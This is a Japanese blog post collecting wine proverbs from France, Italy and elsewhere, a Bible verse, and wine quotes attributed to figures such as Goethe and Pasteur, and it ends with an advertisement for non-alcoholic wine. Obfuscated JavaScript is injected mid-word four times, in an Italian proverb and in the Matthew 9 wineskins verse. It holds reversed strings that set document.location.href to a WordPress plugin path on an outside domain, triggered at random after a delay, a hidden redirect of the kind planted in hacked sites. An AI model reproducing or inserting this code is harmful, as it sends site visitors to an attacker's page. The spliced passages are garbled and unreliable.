古今東西、ワインにまつわることわざ・名言いろいろ

人類の歴史とともに始まり、文明の発展とともに世界各地で飲み継がれてきたワイン。一説によれば、その歴史は紀元前8000年前までさかのぼられるといわれています。
現在は若者のアルコール離れといわれ、ノンアルコールワインの人気も高まっていますが、古来、アルコールによってもたらされる酩酊感は私たちの心を魅了してきました。それは、各地にワインにまつわるさまざまな言葉が残されていることからもわかります。
今回は、世界に語り継がれるワインのことわざ、そして、古今の有名人が残したワインにまつわる言葉をご紹介します。

◇フランスのワインにまつわることわざ
もともと、ワイン作りの歴史が始まったのは、野生のブドウの原産地である黒海とカスピ海に挟まれた地域です。しかし、ヨーロッパでワイン作りが盛んになった中世以降から現在まで、世界一のワイン産地として君臨しているのはご存じフランス。なので、フランスにはワインにまつわるさまざまなことわざがあります。
まずは、そんなフランスのワインのことわざの数々をご紹介しましょう。
・Avec bon pain, bonne chere et bon vin, on peut envoyer promener la medecine.
訳:美味しいパンとご馳走、それに旨いワインがあれば医者いらず。
日本でもよく「酒は百薬の長」と言いますが、これはそのフランス版ですね!
・Bon pain et bon vin et tu feras un bon chemin.
訳:美味しいパンとよい酒があれば、いい道ができる。
「腹は減っては戦はできぬ」の意味。何をやるにも、まずは腹ごしらえが肝心!というのは世界共通のようですね。
・Quand le vin est tiré, il faut le boire.
訳:ワインが抜かれたら飲まねばならない。
ここでの「ワインを抜く」は、ワインを樽から抜いてグラスに注ぐということ。いったんグラスに注いだワインは、最後まで飲み干さなくてはいけないように、いったん何かを始めたら、最後まで初心貫徹して全うしなければならないという意味のことわざです。
また、自分でやったことの報いは受けなければならない、という意味で使われる場合もあります。
・À bon vin point d’enseigne.
訳:よいワインに看板はいらない。
優れた人物の元には、黙っていても自然と人が集まることのたとえ。中国にも、「桃李もの言わざれども下自ずから蹊を成す」という似たことわざがありますね。
自分を大きく見せるような行動・発言をするのは二流。一流の人は何もしなくても、その価値は自然とにじみ出るもの。自戒したいことわざです。
また、「アムール(愛)の国」とも言われるフランスには、恋や女性に関わるワインのことわざも多数あります。
・Les vignes et les jolies femmes sont difficiles a garder.
訳:ぶどう畑と美人は手がかかる。
・Femme et vin ont leur venin
訳:女にもワインにも毒がある。
・Beaute sans bonte est comme vin evente.
訳:可愛気のない美人は、劣化したワインのようなものだ。
古今東西問わず、恋とお酒は、喜びの元にも苦しみの元にもなるようですね。
◇イタリアのワインにまつわることわざ
ワインの生産量では毎年フランスと1位を争っているのが、お隣のイタリア。
では、イタリアのワインに関することわざを見てみましょう。
・Un pastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to senza vino è come un giardino senza fiori.
訳:ワインの無い食卓は花の咲かぬ畑の如し。
・Dove regna il vino non regna il silenzio.
訳:ワインのあるところに沈黙なし。
美味しい料理を囲む楽しい食卓。お酒がさらにその席を盛り上げて、楽しい会話に花を咲かせてくれるのは世界共通ですね!
そして、ワインは人をおしゃべりにしますが、正直にもしてしまいます。
・Nel vino è la verità.
訳:ワインの中に真実あり。
こちらは、もともとラテン語のことわざの ” in vino veritas(酒に真理あり)”から来ているようです。
お酒に酔うと、人は本音や欲望を表に現してしまうということわざです。
また、こんなイタリアらしいおおらかなことわざも。
・Gli anni e i bicchieri di vino non si contano
訳:年齢と飲んだワインのグラスの数は誰も数えない。
人生もお酒も楽しむのが一番。年齢を気にして、したいことを諦めるのはナンセンス。お酒も、健康ばかり気にして無理に我慢するよりは、時には心ゆくまで飲んで思い切り楽しむ方が、ストレス解消につながるかもしれませんね。
フランス、イタリア以外の地域の、ワインにまつわることわざも紹介しておきましょう。
こちらはドイツのことわざです。
・友情は酒の席で結ばれ、涙のときに試される。
楽しい時に仲良くしてくれる人ではなく、辛いときにこそ手を差し伸べてくれるのが本当の友。そんな友人を持ちたいものですね!
そして、こちらはユダヤのことわざ。
・ワインを飲んでいる時間を無駄な時間だと思うな。その時間にあなたの心は休養しているのだから。
「飲み過ぎじゃないの?」と家族に言われて肩身が狭く思っている方にピッタリのことわざです!
次回「また飲んでるの?」と言われたら、さらりとこのことわざを披露して反撃してはいかがでしょう?

また、「キリストの血」であるワインは聖書にもたびたび登場します。
マタイ伝9章には、ワインに関して次のように書かれています。
・Neither is new wine put intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to old wineskins; otherwise, the skins burst, and the wine is spilled, and the skins are destroyed; but new wine is put intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fresh wineskins, and so both are preserved.
訳:新しいワインを古い革袋に入れる者はいない。そんなことをしたら、革袋は破れ、ワインは流れ出て、革袋もだめになる。新しいワインは、新しい革袋に入れるものだ。そうすれば、どちらも長持ちする 。
ガラス瓶が貴重だった聖書の時代は、ワインの保管にはボトルの代わりに山羊や羊の皮で作った袋が使われていたことから、革袋という表現が登場しています。
この一文は、新しい物事を古いやり方で行ってもうまく行かないという事の例え。新しくしなやかな革袋は、ワインが発酵するときに出す炭酸ガスで膨らんでも破れませんが、古く固くなってしまった革袋に新しいワインを入れても、袋は膨らまずに破れ、結果として袋もワインも無駄になってしまいます。
現代では、このことわざは、
Don’t put new wine intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to old bottles.
訳:新しいワインを古い瓶に入れてはいけない。
と革袋を瓶に言い換えて使われていますが、昔ながらの革袋を使った表現のほうが、元の意味がよくわかりますね。
◇有名人のワインにまつわる名言いろいろ
また、ワインを愛した古今の偉人・有名人も、ワインにまつわるさまざまな名言を残しています。

まずは、古代ギリシャから。もっとも古いお酒として、古代ギリシャ時代から飲まれていたワインは当時の知識人たちにも愛されていました。
ソクラテス、プラトンと並び、古代ギリシャの大哲学者として知られるアリストテレス。さまざまな学問に精通し、自然科学でも多大な功績を残した知の巨人はワインをこのように表現しています。
・ワインは自然の本来の姿、あるべき姿としての提示された芸術。
なんと、ワインが単なる飲み物を超えて、芸術の域にまで引き上げられてしまいました!アリストテレスのワインへの愛が感じられる言葉ですね。
また、同じく古代ギリシャの哲学者・アナカルシスは、このように語っています。
・酒の一杯は健康のため。二杯は快楽のため。三杯は放縦のため。四杯は狂気のため。
古代ギリシャの時代から、お酒は少量であれば体にいいと考えられていたのが面白いですね!
次は、マルティン・ルター。宗教改革の中心的人物として、プロテスタント教会を設立した16世紀のドイツの宗教家・ルターは、大のワイン好き。こんな言葉を残しています。
・人はビールを作ったが、神はワインを作った。
またルターは、カトリック教会が伝統的に聖職者の妻帯を禁じてきたことに反対し、結婚によって欲望は正当化され罪にならなくなるという考えの下、修道者に結婚をすすめたことでも知られます。
自身も15歳年下の女性と結婚し3人の子供を設けたルターは、ワインと女性にまつわる言葉も残しています。
・酒と女と歌を愛さぬ者は、生涯の愚者である 。
・酒は強い。王はさらに強い。女はなおさら強い。
宗教家というと堅苦しいイメージですが、ルターの人間らしい一面が垣間見える、なんだか好感の持てる言葉ですね!
次は、近代哲学の祖として有名な哲学者・デカルトが残した言葉です。
・私は飲みながら考え、考えながら飲む。
デカルトの名言「我思う故に我あり」を彷彿とさせる言葉ですね。
それにしても、どれだけ飲んべえだったんでしょうか?
・肉は身体を作り、パンは腹を満たし、ワインは踊りを躍らせる。
生きるための栄養を与えるのが食事なら、心の栄養を与えてくれるのがワインという事でしょうか。ワインを飲む楽しさが伝わってくるような言葉ですね。
次は、「若きウェルテルの悩み」「ファウスト」をはじめ、現在でも読み継がれる名作を残した文豪・ゲーテの言葉です。
・ワインのない食事は太陽の出ない一日。
ここまで言いきってしまうゲーテは、相当のワイン愛好家で、一日に数リットルものワインを飲んだとも、生涯に5万本のワインを空けたとも言われています。
そして他にも、ゲーテの強すぎるワイン愛が伺い知れる言葉の数々が残されています。
・つまらないワインを飲むには、 人生はあまりにも短すぎる。
・それ(ワイン)を知らない者は骸(むくろ)の如し。
・若さとはワインなしで酔うこと。
美食とワインが大好き、数々の浮名を流し、70歳を超えてからも10代の女性に恋するなど、人生を楽しみつくしたゲーテならではの名言ですね!

次は、フランス革命のヒーロー、ナポレオン・ボナパルト。
君主制を打破し、フランスの全盛期を築き上げたナポレオンは、「余の辞書に不可能という文字はない」という言葉でも知られていますね。
近代戦争での戦術の礎を築いたとも言われるナポレオンは、戦略家で戦争に強く、生涯戦績は38戦35勝と圧倒的な強さを誇りました。そのナポレオンの言葉がこれ。
・シャンパンは勝利の時に飲む価値があり、敗北の時には飲む必要がある。
勝利に酔いしれるにも、敗北の悔しさを乗り越え自らを奮い立たせるにも、傍らにはいつでもワインがあった訳です。
次は科学者の登場です。細菌学の父とよばれ、弱毒化した細菌を使ったワクチンの製造方法の発明で知られるフランスのルイ・パスツール。
医学的な貢献で名を知られているパスツールですが、アルコール発酵の仕組みを解明したり、また、アルコール発酵後にワインの品質を損なわない程度の高温で余分な微生物を殺して品質を維持する「低温殺菌法」を考案するなど、実はワイン業界の品質向上にも多大な貢献をはたした人物です。
ワインが大好きだったパスツールは、ワインに関するこんな言葉を遺しています。
・一本のワインボトルの中には、全ての書物にある以上の哲学が存在している。
科学者のパスツールですが、これはまるで文学のような深い含蓄ある一節です。しかし、一方でこんな言葉も残しています。
・真理の発見はワインを飲み過ぎても駄目だが、飲まなくても駄目。
結局は、名科学者パスツールも、単なるのん兵衛だったのかもしれません。
次はファッション界から、ファッションデザイナーのココ・シャネルの言葉です。
・私は二つの時にしかシャンパンを飲まないの。恋をしている時と、していない時。
恋多き女として知られたシャネルならではの、ロマンチックな言葉ですね。
そして、「誰がために鐘は鳴る」「老人と海」などで知られる作家のヘミングウエィの言葉がこちら。
・ワインは私たちが手に入れることのできる限りのものの中で、もっとも感覚的な喜びを与えてくれるものである。
・私の人生唯一の後悔は、もっとワインを飲まなかったことだ。
ヘミングウエィはあらゆるお酒を愛したと言われますが、中でもワインが一番のお気に入りだったといわれています。これらの言葉からも、それがよくわかりますね。
そして、映画監督・フェデリコ フェリーニの含蓄ある言葉がこちら。
・良いワインは映画のようである。一瞬で終わるが、のちに深い味わいを残す。味わうたびに新しく、映画同様、味わう人ごとに生まれ変わる。
人生の複雑さと悲哀を余すところなく描き、見る者に深い感動を与えるフェリーニの作品そのものを表すような言葉ですね。
最後に、前ローマ教皇・ヨハネ23世による名言です。
・人間はワインのようなものだ。酢になってしまう者もいれば、熟成して素晴らしくなる者もいる。
熟成したワインのような人生を送りたいものです!
◇ワインが飲めなくても、ノンアルコールワインを楽しもう
古くから語り継がれるワインにまつわることわざや、古今の偉人・有名人のワインについての言葉からも、ワインがいかに古くから人々に愛され、人々の心を捉えてきたかがよくわかりますね!
しかし、残念ながら妊娠・出産や、健康上の問題でお酒が飲めなくなってしまうこともあります。
そんな時にワインに代わって楽しんでいただきたいのが、ネオブュル社のノンアルコールワイン。
いったん醸造したお酒を、真空蒸留という特殊な方法で32℃という低温で蒸留することで、お酒本来の持つ豊かなアロマを守りながらアルコールのみを除きました。
なので、本物のお酒を思わせる味わいを満喫しながら、アルコールは0.0%。
「ノンアルコールはマズい」というイメージをくつがえす、リアルな味わいのノンアルコールワインです。
べリー系の香りにほんのりしたロースト香と、ほのかなタンニンが感じられる、秋にピッタリの赤ワインです。
柑橘と青リンゴのさわやかな果実香に、ほんのりと上品な樽のニュアンス。しっかりとした酸が効いていて、クセのない味わいがどなたにも飲みやすいノンアルコール白ワインです。